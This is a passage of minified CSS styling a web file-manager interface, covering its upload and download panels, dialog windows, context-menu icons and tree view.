rgba(0,0,0,0.08);-webkit-transition:all ease-in-out .168s;-moz-transition:all ease-in-out .168s;-o-transition:all ease-in-out .168s;-ms-transition:all ease-in-out .168s;transition:all ease-in-out .168s;}.server_dwonload_textarea textarea:focus{border-color:#75A1F0;outline:none;box-shadow:0 0 4px #75A1F0;}.file_upload{height:385px;padding:5px;min-width:365px;overflow:hidden;}.file_upload .top_nav{border-bottom:1px solid #ddd;margin-top:6px;}.file_upload .menu{display:block;text-decoration:none;float:left;padding:0px 15px;height:26px;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffffff', endColorstr='#eeeeee');background:#eee;background-image:-webkit-linear-gradient(top,#fff,#eee);background-image:-moz-linear-gradient(top,#fff,#eee);background-image:-o-linear-gradient(top,#fff,#eee);background-image:-ms-linear-gradient(top,#fff,#eee);background-image:linear-gradient(top,#fff,#eee);-pie-background:linear-gradient(to top,#fff,#eee);font-size:1em;border:1px solid #ccc;text-align:center;line-height:24px;margin-right:5px;margin-bottom:-1px;color:#444;border-radius:4px 4px 0 0;}.file_upload .menu.this{background:#fff;border-bottom:1px solid #fff;}.file_upload .menu:hover{background:#fff;}.file_upload .upload_box{margin-top:10px;}.file_upload .download_btn_group{margin-left:-10px;margin-top:-3px;}.file_upload .download_btn_group .download_start{border-radius:0px;}.file_upload .upload_box_tips .btn.btn-default{border-radius:3px;color:#555;}.file_upload .upload_box_tips .btn-group>.btn:last-child:not(:first-child),.file_upload .upload_box_tips .btn-group>.dropdown-toggle:not(:first-child){border-bottom-left-radius:0;border-top-left-radius:0;}.file_upload div a.left{margin-left:10px;}.file_upload div a.right{position:absolute;right:5px;}.file_upload span.info{font-size:1em;font-style:italic;padding:0px 0 5px 10px;}.file_upload i{font-size:1em;color:#aaa;padding-left:10px;}.file_upload .list{margin:10px 15px 10px 0;}.file_upload .list input{margin-left:10px;width:190px;height:22px;line-height:24px;padding:0px 3px;border:1px solid #ddd;background:#fff;outline:none;box-shadow:inset 0 1px 1px rgba(0,0,0,0.08);-webkit-transition:all ease-in-out .168s;-moz-transition:all ease-in-out .168s;-o-transition:all ease-in-out .168s;-ms-transition:all ease-in-out .168s;transition:all ease-in-out .168s;}.file_upload .list input:focus{border-color:#75A1F0;outline:none;box-shadow:0 0 4px #75A1F0;}.file_upload .submit input{float:right;padding:4px 20px;background:#ddd;border:none;margin-right:36px;margin-top:10px;}.file_upload .submit input:hover{background:#bbb;}.file_upload .submit input:active{background:#444;color:#fff;}.file_upload .uploader-content{border:1px solid #ddd;margin:0 10px;font-size:1em;overflow:auto;position:absolute;bottom:10px;right:0px;left:0px;top:124px;background:url("../../../images/common/drop_upload.png") no-repeat center;}.file_upload #downloader{border:1px solid #ddd;margin:0 10px;font-size:1em;overflow:auto;position:absolute;bottom:10px;right:0px;left:0px;top:124px;}.file_upload .webuploader-container{position:relative;}.file_upload .webuploader-element-invisible{position:absolute !important;clip:rect(1px 1px 1px 1px);clip:rect(1px,1px,1px,1px);}.file_upload .webuploader-pick{position:relative;display:inline-block;color:#fff;text-align:center;height:27px;line-height:27px;border-radius:3px;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#84c8ff', endColorstr='#6091ff');background:#6091FF;background-image:-webkit-linear-gradient(top,#84C8FF,#6091FF);background-image:-moz-linear-gradient(top,#84C8FF,#6091FF);background-image:-o-linear-gradient(top,#84C8FF,#6091FF);background-image:-ms-linear-gradient(top,#84C8FF,#6091FF);background-image:linear-gradient(top,#84C8FF,#6091FF);-pie-background:linear-gradient(to top,#84C8FF,#6091FF);cursor:pointer;padding:0px 15px;}.file_upload .webuploader-pick-hover{filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#84c8ff', endColorstr='#6091ff');background:#6091FF;background-image:-webkit-linear-gradient(top,#84C8FF,#6091FF);background-image:-moz-linear-gradient(top,#84C8FF,#6091FF);background-image:-o-linear-gradient(top,#84C8FF,#6091FF);background-image:-ms-linear-gradient(top,#84C8FF,#6091FF);background-image:linear-gradient(top,#84C8FF,#6091FF);-pie-background:linear-gradient(to top,#84C8FF,#6091FF);box-shadow:inset 0 1px 1em rgba(0,0,0,0.3);}.file_upload .upload_cert{width:24px;background:#def;height:100%;float:left;cursor:pointer;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#84c8ff', endColorstr='#6091ff');background:#6091FF;background-image:-webkit-linear-gradient(top,#84C8FF,#6091FF);background-image:-moz-linear-gradient(top,#84C8FF,#6091FF);background-image:-o-linear-gradient(top,#84C8FF,#6091FF);background-image:-ms-linear-gradient(top,#84C8FF,#6091FF);background-image:linear-gradient(top,#84C8FF,#6091FF);-pie-background:linear-gradient(to top,#84C8FF,#6091FF);height:27px;line-height:27px;position:relative;z-index:10;padding:0;border:none;margin-left:-5px;border-left:1px solid rgba(0,0,0,0.1);border-top-right-radius:3px;border-bottom-right-radius:3px;}.file_upload .upload_cert .caret{margin-top:-2px;margin-left:-1px;border-top:4px solid #fff;}.file_upload .upload_cert_box .dropdown-menu{right:inherit;top:inherit;margin-top:30px;}.file_upload .upload_cert_box .dropdown-menu:before{right:inherit;left:10px;}.file_upload .upload_cert_box .dropdown-menu:after{right:inherit;left:11px;}.file_upload .upload_cert_box.open.upload_cert,.file_upload .upload_cert_box .upload_cert:hover{filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#84c8ff', endColorstr='#6091ff');background:#6091FF;background-image:-webkit-linear-gradient(top,#84C8FF,#6091FF);background-image:-moz-linear-gradient(top,#84C8FF,#6091FF);background-image:-o-linear-gradient(top,#84C8FF,#6091FF);background-image:-ms-linear-gradient(top,#84C8FF,#6091FF);background-image:linear-gradient(top,#84C8FF,#6091FF);-pie-background:linear-gradient(to top,#84C8FF,#6091FF);box-shadow:inset 0 1px 1em rgba(0,0,0,0.3);}.file_upload .webuploader-pick-disable{opacity:0.6;filter:alpha(opacity=60);pointer-events:none;}.file_upload .btns{margin-bottom:10px;font-size:1em;height:28px;}.file_upload .btns .tips{float:right;line-height:30px;}.file_upload .btns #picker{float:left;}.file_upload .upload_box_tips{line-height:34px;color:#888;position:absolute;right:10px;}.file_upload .upload_box_config{box-shadow:inset 0px 1px 6px rgba(0,0,0,0.3);border-radius:2px;margin-bottom:10px;padding:4px;}.file_upload .upload_box_config .upload_check_box{margin-left:10px;}.file_upload .upload_box_config label{margin-left:15px;}.file_upload .upload_box_config label input{margin-right:5px;}.file_upload .uploader-list .item,.file_upload .download_list .item{padding:0px;height:35px;overflow:hidden;position:relative;border-bottom:1px solid #ccc;background:#fefefe;}.file_upload .uploader-list .item .info,.file_upload .download_list .item .info{color:#224;line-height:35px;padding:0 5px;z-index:100;position:relative;font-size:1em;}.file_upload .uploader-list .item .info span,.file_upload .uploader-list .item .info a,.file_upload .download_list .item .info span,.file_upload .download_list .item .info a{float:left;height:30px;display:block;overflow:hidden;text-overflow:ellipsis;white-space:nowrap;}.file_upload .uploader-list .item .info .title,.file_upload .download_list .item .info .title{color:#3A87AD;width:160px;width:50%;font-weight:800;}.file_upload .uploader-list .item .info .size,.file_upload .download_list .item .info .size{width:45px;text-align:center;color:#3A87AD;font-size:12px;}.file_upload .uploader-list .item .info .state,.file_upload .download_list .item .info .state{width:100px;width:27%;text-align:right;font-size:12px;}.file_upload .uploader-list .item .info .font-icon,.file_upload .download_list .item .info .font-icon{margin-left:12px;font-size:20px;width:20px;line-height:35px;cursor:pointer;color:#bbb;}.file_upload .uploader-list .item .info .font-icon:hover,.file_upload .download_list .item .info .font-icon:hover{text-decoration:none;color:#f60;}.file_upload .uploader-list .item .info .icon-ok,.file_upload .download_list .item .info .icon-ok{color:#40AA53;}.file_upload .uploader-list .item .info .error,.file_upload .download_list .item .info .error{color:#f30;}.file_upload .uploader-list .item.success,.file_upload .download_list .item.success{background:#eaf8ff;}.file_upload .uploader-list .item.error,.file_upload .download_list .item.error{background:#ffe8e6;}.file_upload .uploader-list .item .progress,.file_upload .download_list .item .progress{height:38px;margin:0px;width:100%;border-radius:0;box-shadow:none;position:absolute;top:0;}.file_upload .uploader-list .item .progress-bar,.file_upload .download_list .item .progress-bar{background-color:#adf;background-image:linear-gradient(45deg,rgba(255,255,255,0.35) 25%,transparent 25%,transparent 50%,rgba(255,255,255,0.35) 50%,rgba(255,255,255,0.35) 75%,transparent 75%,transparent);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ddeeff',endColorstr='#88ccff',GradientType=1);BACKGROUND-REPEAT:repeat-x;}.file_upload .uploader-list .success:hover,.file_upload .download_list .success:hover{cursor:pointer;background:#def;border-bottom:1px solid #3A87AD;}@media screen and (-ms-high-contrast:active),(-ms-high-contrast:none){.btn{ padding:5px 14px;} input[type='checkbox'].kui-checkbox-ios.size-big + em{ height:27px;} #body .system_conennt .right_frame .user_list table tr td.select input{ position:relative;top:4px;} #body table tr input[type='text']{ line-height:22px;} .do_search .search_header .btn-right{ margin:-9px 0 0 -2px;height:23px;} .appbox .appline.icon .open{ margin-top:-2px;} .appbox .appline label{ position:relative;top:-4px;} #body .main .group_editor .tag input{ position:relative;top:-5px;} .share_dialog .aui_border{ overflow:auto;} .share_dialog .content_box .content_info .input_line.select_path a.select_btn{ padding:3px 8px 4px;} .kui-radio + span, .kui-checkbox + span{ position:relative;top:-6px;} .kui-radio.size-small + span, .kui-checkbox.size-small + span{ position:relative;top:-4px;} .kui-radio.size-smallx + span, .kui-checkbox.size-smallx + span{ position:relative;top:-2px;}}.messageBox{position:absolute;top:15%;left:0px;z-index:88;background:#63acff;color:#fff;opacity:0.7;filter:alpha(opacity=70);-webkit-border-radius:1px;-moz-border-radius:1px;border-radius:1px;-webkit-box-shadow:0 10px 60px rgba(0,0,0,0.6);-moz-box-shadow:0 10px 60px rgba(0,0,0,0.6);box-shadow:0 10px 60px rgba(0,0,0,0.6);display:none;}.messageBox .content{padding:10px 30px;line-height:20px;width:auto;}.aui_outer{text-align:left;position:relative;}.aui_mask{position:absolute;width:100%;height:100%;background:#fff;opacity:0.01;filter:alpha(opacity=1);}.aui_loading{height:100%;width:100%;overflow:hidden;opacity:0.7;filter:alpha(opacity=70);position:absolute;left:0;top:40px;z-index:9999;text-align:center;text-indent:-999em;}.aui_loading span{width:80px;height:80px;border-radius:6px;background:#fff url("../../../images/common/dialog/dialog_loading.gif") no-repeat center center;position:absolute;left:50%;top:50%;margin-left:-40px;margin-top:-40px;}table.aui_border,table.aui_dialog{width:100%;border:0;margin:0;border-collapse:collapse;}.aui_nw,.aui_n,.aui_ne,.aui_w,.aui_c,.aui_e,.aui_sw,.aui_s,.aui_se,.aui_header,.aui_tdIcon,.aui_main,.aui_footer{padding:0;}.aui_header,.aui_buttons button{font:12px/1.11;}.aui_title{overflow:hidden;text-overflow:ellipsis;font-size:1em;}.aui_title img,.aui_title .x-item-file{width:20px;margin-right:5px;border-radius:4px;cursor:pointer;pointer-events:all;}.aui_title img:hover,.aui_title .x-item-file:hover{transform:scale(1.1,1.1);}.aui_state_noTitle .aui_title{display:none;}.aui_main{font-size:1.1em;text-align:center;background:#FFF;min-width:9em;min-width:0 \9;visibility:auto;}.aui_content{text-align:left;color:#666;border:none 0;}.aui_content{width:100%;height:100%;}.aui_content.aui_state_full{display:block;width:100%;margin:0;padding:0 !important;height:100%;}.aui_icon{vertical-align:middle;background:#fff;}.aui_icon div{width:48px;height:48px;margin:10px 0 10px 10px;background-position:center center;background-repeat:no-repeat;}.aui_buttons{padding:10px 8px;text-align:right;white-space:nowrap;background-color:#F6F6F6;border-top:solid 1px #DADEE5;}.aui_buttons button{margin-left:15px;padding:3px 20px;height:25px;cursor:pointer;display:inline-block;text-align:center;line-height:1;overflow:visible;color:#000000;border:none;background:#aaa;color:#fff;}.aui_buttons button:focus{outline:none 0;}.aui_buttons button:hover{background:#c4c4c4;}.aui_buttons button:active{background:#777777;}.aui_buttons button[disabled]{cursor:default;color:#919191;background:#aaa;opacity:0.5;filter:alpha(opacity=50);}.aui_buttons button::-moz-focus-inner{border:0;padding:0;margin:0;}.aui_buttons button.aui_state_highlight{color:#FFF;background:#63acff;}.aui_buttons button.aui_state_highlight:hover{color:#FFF;background:#96c7ff;}.aui_buttons button.aui_state_highlight:active{background:#0076fc;}.aui_buttons button.disable,.aui_buttons button.disabled{opacity:0.3;filter:alpha(opacity=30);}.aui_outer{border:0px solid #63acff;-webkit-box-shadow:0px 5px 20px rgba(0,0,0,0.6);-moz-box-shadow:0px 5px 20px rgba(0,0,0,0.6);box-shadow:0px 5px 20px rgba(0,0,0,0.6);-webkit-transition:box-shadow 0.1s opacity 0.2s;-moz-transition:box-shadow 0.1s opacity 0.2s;-o-transition:box-shadow 0.1s opacity 0.2s;-ms-transition:box-shadow 0.1s opacity 0.2s;transition:box-shadow 0.1s opacity 0.2s;}.aui_state_lock .aui_nw,.aui_state_lock .aui_n,.aui_state_lock .aui_ne,.aui_state_lock .aui_w,.aui_state_lock .aui_e,.aui_state_lock .aui_sw,.aui_state_lock .aui_s,.aui_state_lock .aui_se{background:rgba(0,0,0,0.5);background:#000 \9 !important;opacity:0.5;filter:alpha(opacity=50);}.aui_titleBar{position:relative;height:100%;}.aui_title{height:31px;line-height:30px;padding:0 28px 0 10px;color:#fff;background-color:#7dbaff;}.aui_state_focus .aui_mask{display:none;}.aui_state_focus .aui_outer{-webkit-box-shadow:0px 5px 40px rgba(0,0,0,0.7);-moz-box-shadow:0px 5px 40px rgba(0,0,0,0.7);box-shadow:0px 5px 40px rgba(0,0,0,0.7);}.aui_state_focus .aui_title{background-color:#63acff;}.aui_state_drag .aui_title{cursor:move;cursor:-webkit-grabbing;cursor:grabbing;}.aui_min,.aui_max,.aui_close{display:block;position:absolute;text-decoration:none;outline:none;cursor:pointer;font-size:1.25em;-webkit-transition:all 0.2s;-moz-transition:all 0.2s;-o-transition:all 0.2s;-ms-transition:all 0.2s;transition:all 0.2s;color:#fff;border-top:none;top:0px;height:22px;width:35px;font-size:1.15em;line-height:22px;text-align:center;background-color:transparent;height:24px;width:38px;line-height:25px;color:#ffffff;font-family:FontAwesome;}.aui_min:hover,.aui_max:hover,.aui_close:hover{text-decoration:none;color:#fff;background-color:#1783ff;}.aui_close:hover{background:#cc0000;}.aui_min{right:82px;content:"\f068";}.aui_max{right:43px;content:"\f065";}.aui_close{right:5px;content:"\f00d";}.aui_min:before{content:"\f068";}.aui_max:before{content:"\f065";}.aui_close:before{content:"\f00d";}.dialogMax .aui_max:before{content:"\f066";}.aui_max,.aui_min{display:none;}.aui_state_noTitle .aui_nw,.aui_state_noTitle .aui_ne,.aui_state_noTitle .aui_sw,.aui_state_noTitle .aui_se{width:5px;height:5px;}.aui_state_noTitle .aui_titleBar{bottom:0;_bottom:0;_margin-top:0;}.aui_state_noTitle .aui_outer{box-shadow:none !important;border:none !important;}.aui_state_noTitle .aui_inner{border:1px solid #aaa;}.aui_state_noTitle .tips{padding:15px;padding-left:10px;}.aui_state_noTitle .aui_nw,.aui_state_noTitle .aui_n,.aui_state_noTitle .aui_ne,.aui_state_noTitle .aui_w,.aui_state_noTitle .aui_e,.aui_state_noTitle .aui_sw,.aui_state_noTitle .aui_s,.aui_state_noTitle .aui_se{background:rgba(0,0,0,0.1);background:#000 \9 !important;filter:alpha(opacity=10)!important;}.aui_state_noTitle .aui_close,.aui_state_noTitle .aui_max,.aui_state_noTitle .aui_min{display:none;font-size:1em;}.dialogMax .aui_nw,.dialogMax .aui_ne,.dialogMax .aui_sw,.dialogMax .aui_se,.dialogMax .aui_w,.dialogMax .aui_e{width:0px;}.dialogMax .aui_sw,.dialogMax .aui_n,.dialogMax .aui_se{height:0px;}.dialogMax .aui_outer{border:none !important;}.dialog-can-resize .resize-handle{position:absolute;z-index:9999;display:block;}.dialog-can-resize .resize-top{z-index:0;cursor:n-resize;top:-3px;left:0px;height:7px;width:100%;}.dialog-can-resize .resize-bottom{z-index:0;cursor:s-resize;bottom:-3px;left:0px;height:7px;width:100%;}.dialog-can-resize .resize-right{z-index:0;cursor:e-resize;right:-3px;top:0px;width:7px;height:100%;}.dialog-can-resize .resize-left{z-index:0;cursor:w-resize;left:-3px;top:0px;width:7px;height:100%;}.dialog-can-resize .resize-bottom-right{cursor:se-resize;width:18px;height:18px;right:-7px;bottom:-7px;background:url('../../../images/common/dialog/resize_corner.png') no-repeat;opacity:0.4;filter:alpha(opacity=40);}.dialog-can-resize .resize-bottom-left{cursor:sw-resize;width:15px;height:15px;left:-7px;bottom:-7px;}.dialog-can-resize .resize-top-left{cursor:nw-resize;width:15px;height:15px;left:-7px;top:-7px;}.dialog-can-resize .resize-top-right{cursor:ne-resize;width:15px;height:15px;right:-5px;top:-7px;}.dialog-can-resize .aui_min,.dialog-can-resize .aui_max{display:block;}body div.dialog-simple .aui_titleBar{width:100%;position:relative;bottom:0;height:100%;}body div.dialog-simple .aui_border{border:none;}body div.dialog-simple .aui_outer{border:none;border-radius:none;box-shadow:none;background:none;}body div.dialog-simple .aui_inner{border:none;background:none;}body div.dialog-simple .aui_nw,body div.dialog-simple .aui_n,body div.dialog-simple .aui_ne,body div.dialog-simple .aui_w,body div.dialog-simple .aui_e,body div.dialog-simple .aui_sw,body div.dialog-simple .aui_s,body div.dialog-simple .aui_se{background:none;}body div.dialog-simple .aui_title{background:rgba(0,0,0,0.8);opacity:0.8;filter:alpha(opacity=80);border-radius:3px;border:none;height:31px;line-height:30px;padding:0 28px 0 10px;color:#fff;}body div.dialog-simple .aui_min,body div.dialog-simple .aui_max,body div.dialog-simple .aui_close{border:none;top:6px;display:block;position:absolute;text-decoration:none;outline:none;cursor:pointer;background-color:rgba(255,255,255,0.3);color:#fff;opacity:0.5;filter:alpha(opacity=50);height:22px;width:22px;font-size:1.15em;line-height:22px;text-align:center;border-radius:4px;font-family:FontAwesome;}body div.dialog-simple .aui_min:hover,body div.dialog-simple .aui_max:hover,body div.dialog-simple .aui_close:hover{text-decoration:none;color:#fff;background-color:#cc0000;}body div.dialog-simple .aui_min:active,body div.dialog-simple .aui_max:active,body div.dialog-simple .aui_close:active{color:fff;background-color:#f00;}body div.dialog-simple .aui_main{background:none !important;}body div.dialog-simple .aui_max{right:30px;}body div.dialog-simple .aui_min{right:56px;}body div.dialog-simple .aui_dialog,body div.dialog-simple .aui_border{background:none;}body div.dialog-simple .resize-bottom-right{background:none !important;}body div.dialog-simple .aui_header{opacity:0.01;filter:alpha(opacity=1);}body div.dialog-simple .aui_nw,body div.dialog-simple .aui_ne{height:0px;}body div.dialog-simple .dialog_mouse_in .aui_header{opacity:1.0;filter:alpha(opacity=100);}body div.dialog-simple.aui_state_drag .aui_header{opacity:1.0;filter:alpha(opacity=100);}body div.dialog-simple.dialogMax .aui_header{opacity:1.0;filter:alpha(opacity=100);}@-webkit-keyframes fadein{0%{ opacity:0;} 50%{ opacity:0.4;}}.playmusic-icon{display:none;}.context-menu-list{margin:0;margin-left:4px;min-width:190px;max-width:300px;font-size:1em;display:inline-block;position:absolute;list-style-type:none;padding:8px 0px;border:none;border:1px solid #ccc \9;border-radius:4px;background:#fff;-webkit-box-shadow:0 10px 80px rgba(0,0,0,0.4);-moz-box-shadow:0 10px 80px rgba(0,0,0,0.4);box-shadow:0 10px 80px rgba(0,0,0,0.4);}.context-menu-list span b{display:inline-block;font-size:1em;font-weight:200;color:#aaa;padding-left:10px;min-width:50px;text-align:right;overflow:hidden;position:absolute;right:10px;width:65px;}.context-menu-list .hover>span>b{color:#fff;}.context-menu-list li.selected{border-left:none !important;background:none;}.context-menu-list li.selected i.font-icon{color:#aaa;font-family:FontAwesome;font-weight:normal;font-style:normal;}.context-menu-list li.selected i.font-icon:before{content:"\f00c" !important;}.context-menu-list .context-menu-submenu:after{content:"\f0da";font-family:FontAwesome;display:inline-block;float:right;margin-right:0px;right:10px;position:absolute;}.context-menu-list .context-menu-item{display:block;cursor:pointer;white-space:nowrap;clear:both;line-height:25px;height:23px;position:relative;border:none;padding:0px 20px 0 20px;color:#222;-webkit-transition:background-color .1s;-moz-transition:background-color .1s;-o-transition:background-color .1s;-ms-transition:background-color .1s;transition:background-color .1s;}.context-menu-list .context-menu-item .font-icon{display:inline-block;width:25px;font-size:1.2em;color:#aaa;}.context-menu-list .context-menu-item.disabled,.context-menu-list .context-menu-item.disable{cursor:not-allowed;color:#ccc;}.context-menu-list .context-menu-item.disabled .font-icon,.context-menu-list .context-menu-item.disable .font-icon{color:#ddd;}.context-menu-list .context-menu-item.disabled.hover,.context-menu-list .context-menu-item.disable.hover{color:#ccc;cursor:default;background-color:#fff;}.context-menu-list .context-menu-item.disabled.hover .font-icon,.context-menu-list .context-menu-item.disable.hover .font-icon{color:#ddd;}.context-menu-list .context-menu-item.hover{cursor:pointer;color:#fff;background:#63acff;background-color:none \9;}.context-menu-list .context-menu-item.hover .font-icon{color:#fff;color:#aaa \9;}.context-menu-list .context-menu-item span i{float:right;text-align:right;font-style:normal;color:#888;}.context-menu-list .context-menu-item.context-menu-separator{height:2px;line-height:0;border-bottom:1px solid #eee;margin:2px 0 4px;}.context-menu-list .context-menu-item > .context-menu-list{display:none;right:-5px;top:5px;}.context-menu-list .context-menu-item.hover > .context-menu-list{display:block;}.context-menu-list .context-menu-item.hover > .context-menu-list .font-icon{color:#aaa;}.context-menu-list .context-menu-item.hover > .context-menu-list .hover .font-icon{color:#fff;color:#aaa \9;}.context-menu-list .context-menu-item .context-menu-accesskey{text-decoration:underline;}.context-menu-list .context-menu-item .line_top{border-top:1px solid #ddd !important;}.font-icon.icon-home,.x-treeSelf{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:-16px -496px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:8px;margin-right:0px;filter:none;-ms-filter:none;}.font-icon.icon-home:before,.x-treeSelf:before{content:"" !important;}.font-icon.icon-circle-arrow-up{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:0 -496px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:8px;margin-right:0px;}.font-icon.icon-circle-arrow-up:before{content:"" !important;}.x-treeFav.small{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:-16px -773px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:8px;margin-right:0px;}.x-treeFav.small:before{content:"" !important;}.frame-right #search .font-icon.icon-search{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:-16px -736px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:8px;margin-right:0px;margin-top:4px;}.frame-right #search .font-icon.icon-search:before{content:"" !important;}.context-menu-list .font-icon:before{color:#249dff;background-image:-webkit-linear-gradient(2deg,#249dff,#08558a);background-clip:text;text-fill-color:transparent;-webkit-text-fill-color:transparent;-webkit-background-clip:text;}.context-menu-list .context-menu-item.disabled .font-icon,.context-menu-list .context-menu-item.disable .font-icon{opacity:0.3;filter:alpha(opacity=30);}.context-menu-list .context-menu-item.search .font-icon{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:0 0px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:8px;}.context-menu-list .context-menu-item.search .font-icon:before{content:"" !important;}.context-menu-list .context-menu-item.open .font-icon,.context-menu-list .context-menu-item.open_the_path .font-icon{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:-16px -16px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:8px;}.context-menu-list .context-menu-item.open .font-icon:before,.context-menu-list .context-menu-item.open_the_path .font-icon:before{content:"" !important;}.context-menu-list .context-menu-item.upload .font-icon{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:0 -48px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:8px;}.context-menu-list .context-menu-item.upload .font-icon:before{content:"" !important;}.context-menu-list .context-menu-item.down .font-icon,.context-menu-list .context-menu-item.download .font-icon{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:-16px -48px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:8px;}.context-menu-list .context-menu-item.down .font-icon:before,.context-menu-list .context-menu-item.download .font-icon:before{content:"" !important;}.context-menu-list .context-menu-item.cute .font-icon,.context-menu-list .context-menu-item.cute_to .font-icon{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:-16px -80px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:8px;}.context-menu-list .context-menu-item.cute .font-icon:before,.context-menu-list .context-menu-item.cute_to .font-icon:before{content:"" !important;}.context-menu-list .context-menu-item.copy .font-icon,.context-menu-list .context-menu-item.copy_to .font-icon,.context-menu-list .context-menu-item.copy_see .font-icon{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:0 -96px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:8px;}.context-menu-list .context-menu-item.copy .font-icon:before,.context-menu-list .context-menu-item.copy_to .font-icon:before,.context-menu-list .context-menu-item.copy_see .font-icon:before{content:"" !important;}.context-menu-list .context-menu-item.newfolder .icon-folder-close-alt{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:0 -16px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:8px;}.context-menu-list .context-menu-item.newfolder .icon-folder-close-alt:before{content:"" !important;}.context-menu-list .context-menu-item.newfile .icon-expand-alt{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:0 -32px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:8px;}.context-menu-list .context-menu-item.newfile .icon-expand-alt:before{content:"" !important;}.context-menu-list .context-menu-item.rname .font-icon{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:0 -64px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:8px;}.context-menu-list .context-menu-item.rname .font-icon:before{content:"" !important;}.context-menu-list .context-menu-item.past .font-icon{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:-16px -64px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:8px;}.context-menu-list .context-menu-item.past .font-icon:before{content:"" !important;}.context-menu-list .context-menu-item.remove .font-icon,.context-menu-list .context-menu-item.fav_remove .font-icon,.context-menu-list .context-menu-item .close .font-icon{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:0 -80px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:8px;}.context-menu-list .context-menu-item.remove .font-icon:before,.context-menu-list .context-menu-item.fav_remove .font-icon:before,.context-menu-list .context-menu-item .close .font-icon:before{content:"" !important;}.context-menu-list .context-menu-item.zip .font-icon{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:-16px -32px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:8px;}.context-menu-list .context-menu-item.zip .font-icon:before{content:"" !important;}.context-menu-list .context-menu-item.unzip .icon-folder-open-alt{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:0 -32px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:8px;}.context-menu-list .context-menu-item.unzip .icon-folder-open-alt:before{content:"" !important;}.context-menu-list .context-menu-item.share .font-icon{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:-15px -703px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:8px;}.context-menu-list .context-menu-item.share .font-icon:before{content:"" !important;}.context-menu-list .context-menu-item.open_text .font-icon{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:1px -702px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:8px;}.context-menu-list .context-menu-item.open_text .font-icon:before{content:"" !important;}.context-menu-list .context-menu-item.setBackground .font-icon{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:-16px -609px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:8px;}.context-menu-list .context-menu-item.setBackground .font-icon:before{content:"" !important;}.context-menu-list .context-menu-item.fav .font-icon,.context-menu-list .context-menu-item.fav_page .font-icon{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:-16px -773px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:8px;}.context-menu-list .context-menu-item.fav .font-icon:before,.context-menu-list .context-menu-item.fav_page .font-icon:before{content:"" !important;}.context-menu-list .context-menu-item.set-file-icon-size .icon-picture.font-icon,.context-menu-list .context-menu-item.setting_wall .icon-picture.font-icon{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:0px -577px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:8px;}.context-menu-list .context-menu-item.set-file-icon-size .icon-picture.font-icon:before,.context-menu-list .context-menu-item.setting_wall .icon-picture.font-icon:before{content:"" !important;}.context-menu-list .context-menu-item.sort_by .icon-sort.font-icon{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:-16px -528px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:8px;}.context-menu-list .context-menu-item.sort_by .icon-sort.font-icon:before{content:"" !important;}.context-menu-list .context-menu-item.list_icon .icon-eye-open.font-icon{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:1px -625px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:8px;}.context-menu-list .context-menu-item.list_icon .icon-eye-open.font-icon:before{content:"" !important;}.context-menu-list .context-menu-item .font-icon.icon-info{color:#fff !important;background:#c4e5ff;text-align:center;width:15px;border-radius:50%;height:15px;line-height:15px;margin-right:10px;box-shadow:0 0 0 1px #6db9f5;}.ztree{margin:0px;padding:10px 0px;font-size:1em;}.ztree 